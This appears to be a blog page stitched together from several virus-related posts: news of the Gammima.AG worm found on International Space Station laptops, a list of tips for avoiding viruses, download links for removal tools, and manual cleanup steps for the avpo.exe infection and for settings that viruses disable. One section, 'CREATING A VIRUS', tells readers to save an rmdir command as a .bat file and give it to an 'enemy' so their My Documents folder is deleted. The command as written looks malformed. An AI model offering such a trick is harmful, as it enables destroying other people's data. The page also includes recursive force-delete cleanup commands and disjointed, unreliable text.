W32.Gosys Worm/Virus

W32.Gosys Worm/Virus

To remove this virus/worm we have two ways

1) using the recommended software

2)use manual removal process

but i recommend you use the first way.

download the software




we are not distributing or selling this software.we are only using this to promote the useful software.we have know rights on this software legally.if the developers of this software need to remove this from here.please comment on this post.

Computer Virus Goes into Orbit

SAN FRANCISCO: NASA confirmed that a computer virus sneaked aboard the International Space Station only to be tossed into quarantine on July 25 by security software.

A “worm type” virus was found on laptop computers that astronauts use to send and receive email from the station by relaying messages through a mission control center in Texas, according to NASA spokesman Kelly Humphries on Wednesday.

The virus is reported to be malicious software that logs keystrokes in order to steal passwords or other sensitive data by sending the information to hackers via the Internet. The laptop computers are not linked to any of the space station’s control systems or the Internet. “The bottom line is it is a nuisance for us,” Humphries said. “The crew is working with teams on the ground to eradicate the virus and look for actions to prevent that from happening in the future.” The virus had no adverse effect on space station operations, according to Humphries.

The space station orbits Earth once every 90 minutes at an altitude of about 350 kilometers. NASA is reportedly looking into whether the virus got into the computers by hiding in a memory drive used to store music, video or other digital files. Humphries said this is not the first computer virus stowaway on the Space Station.

“This is not a frequent occurrence but it has happened before,” Humphries said

Update: Computer Virus Gammima Travels Into Space

It seems you can’t escape computer viruses not even on the International Space Station. NASA announced that several laptops that were carried to the ISS in July were infected with a virus known as Gammima.AG, and also admitted that such infections have happened before.

“This is not the first time we have had a worm or a virus,” NASA spokesman Kelly Humphries said. “It’s not a frequent occurrence, but this isn’t the first time.”

The virus, which copies itself onto computers in order to steal log-on information for online games, was first detected in August 2007. After stealing the private information, including usernames and passwords, the worm attempts to send it back to a central computer.

W32.Gammima.AG propagates by copying itself to removable media. According to Symantec, Gammima.AG, also known as Worm.Win32.AutoRun.bhx [Kaspersky], attempts to steal sensitive information for the following online games: ZhengTu, Wanmi Shijie or Perfect World, Dekaron Siwan Mojie, HuangYi Online, Rexue Jianghu, ROHAN, Seal Online, Maple Story, R2 (Reign of Revolution) and Talesweaver.

It affects all the Windows versions and Symantec noted that the number of known infections is in 0 to 49 range.

As the computers on the space station use a satellite data link to transmit information and e-mails, NASA officials said that there was no way that data on the laptops could be sent to hackers on Earth. NASA also told space news website SpaceRef that no command or control systems of the ISS were at risk from the malicious program.

NASA is currently working with partners on the ISS to find out how the virus found its way into the laptops. The space station’s computers reportedly do not have any anti-virus software installed on them to prevent infection with viruses.

One theory is that the virus was on a flash or USB drive that an astronaut owned and carried with him to the space station.

The space agency said it planned to put in place security systems that would prevent such incidents from happening in the future.

Computer viruses in outer space

SpaceRef.com reports that NASA has discovered a computer virus on one of the computers located on the International Space station.

The virus (well, technically classified as a worm) was identified as W32.Gammima.AG, and Symantec describes it as a relatively low-risk threat. Its purpose is to steal passwords to on-line games, and presumably sends them back to its author(s). It normally spreads via removable media, like memory cards or thumb drives. Other than being an annoyance, unless you play the games the worm targets, there really isn’t any damage done. NASA gets lucky this time (assuming the astronuats aren’t playing World of Warcraft up there!)

Just goes to show you still need to run anti-virus even when you’re 39,000 miles above the Earth.

10 Ways to Protect Against the Dreaded Computer Virus

You may already have had a bad experience with a computer viruses. If this is true then you may have been due to opening an email from some one you didn’t know, or from downloading a ton of different files off the internet. Either way, if you want to ensure this doesn’t happen again, the you should read this article to guard yourself against the annoying computer bugs.

Below are a list of tips that I have put together to help avoid contracting a nasty virus.

1. Get yourself some antivirus software from a respected company such as Norton Antivirus software. You should set it up to run automatically every time you turn your computer on.

2. Make sure to keep your antivirus software up to date by either using the automatic update feature that many come with or make it a habit to manually check at least once or twice a week for updates on your own.

3. The antivirus software can also scan for Macro Viruses. This type of virus is usually hidden in word processing documents that you may receive in an email.

4. Downloading software from the internet should not be done too often. It is very easy to get infected this way, even though there may be lots of great programs available This is very risky.

5. There are many ways to swap data between two different computers. I don’t recommend you do this unless it is unavoidable, and even then you must scan the storage device you are transfering from for viruses.

6. If using floppy disks to transfer data make sure to format them before using them for the first time.

7. When purchasing software, make sure to only buy from vendors that are well known and from ones you trust.

One of the most common ways of catching a virus is to install pirate software. This is illegal and should never be done.

9. If you must download programs from the internet ALWAYS scan them for viruses BEFORE opening them up to install on your computer.

10. Probably the most important and neglected method of disaster recovery are periodic backups of all important files found on your computer. Should a virus happen to get through your lines of defense you may need to replace the virus corrupted files with fresh ones that have been kept for such an occasion.

Following the steps I have laid out won’t guarantee that you will not be infected, but it will make you far less likely of becoming a victim of a dreaded computer virus.
About the Author:
Roberto Beiro is a dynamic writer on the web. You can search for more computer advice from him at his website Old boy articles. There are also 100’s of articles on other subjects like finance advice, and travel advice .

CREATING A VIRUS

HERE'S A WAY I FOUND TO DELETE THE MY DOCUMENTS FOLDER OF UR ENEMY OR JUST 4 FUN.HERE'S WHAT U SHOULD DO.OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT BE SURE TO SAVE IT AS A BAT FILE.I MEAN SAVE IT LIKE MYVIRUS.BAT.IT SHOULD HAVE THE ENDING AS .BAT.NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.rmdir C:\Documents and Settings \S\Q.

Remove the restrictions caused due to viruses by remove restrictions tool

Trouble:

We have been receiving lots of mails from our readers that their system got infected by different types of viruses.

Normally most of the viruses which infect any windows XP system causes the following problems:

1. Task Manager disabled - So, you cannot end the process related to the virus.

2. regedit command is disabled - Registry editing is disabled.

3. msconfig command is also disabled - This command is disabled by most of the viruses so that using msconfig you cannot remove virus from start up, if it is their.

4. Folder options becomes hidden and doesn’t appear from windows.

Above given are some of the most common problems caused by most of the viruses.

Lets see how we can revert the windows settings to remove these restrictions.

Fix:

It really very simple to remove all the restrictions that are mentioned above with the help of remove restrictions tool.

RRT?

RRT (Remove Restrictions Tool) is a tiny tool that does the work for anti-virus softwares, it re-enables all what the virus had disabled, and brings every thing including task manager ,regedit ,msconfig and hidden folder options and also removes lots of other restrictions imposed by various types of viruses.

You can download RRT from this link .

NOTE: Always keep your anti-virus software updated with latest virus definitions to avoid virus related problems. Scan any external drive you attach to your computer and all the downloaded content for viruses.

avpo.exe, ntde1ect.com and autorun.inf (Virus name-Win32/PSW.Agent.NDP) in your computer

avpo.exe, ntde1ect.com and autorun.inf (Virus name-Win32/PSW.Agent.NDP) in your computer
Run your windows from Safemode: Press (F8) before your windows startup choose Safemod, then the next step
Step 1
1) Open up Task Manager (Ctrl-Alt-Del)
2) If wscript.exe is running, end it.
3) If explorer.exe is running, end it.
4) Open up “File | New Task (Run)” in the Task manager
5) Run cmd
6) Run the following command on all your drives by replacing c:\ with other drives in turn (note: if you have autorun.inf files that you think you need to backup, do so now):

del c:\autorun.* /f /a /s /q
7) Go to your Windows\System32 directory by typing cd c:\windows\system32
8 ) Type dir /a avp*.*
9) If you see any files names avp0.dll or avpo.exe or avp0.exe, use the following commands to delete each of them:

attrib -r -s -h avpo.exe
del avpo.exe
10) Use the Task Manager’s Run command to fire up regedit
11) Navigate to HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run (as usual, take a backup of your registry before touching it!)
12) If there are any entries for avpo.exe, delete them.
13) Do a complete search of your registry for ntde1ect.com and delete any entries you find.
14) Restart your computer.

"Folder Options" Under "View" Missing

1. Execute Regedit (shortcut, or StartMenu -- Run, and type regedit ..)

2. move with mouse to menu in Regedit's window and go to Edit -- Find (or simply stroke Ctrl+F)

3. Type HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

4. and finally - find REG_DWORD entry, named NoFolderOptions (if it is there at all, but probably it is)



See, if mentioned entry has value 1 ... If it has, simply change it to 0, and that should do the trick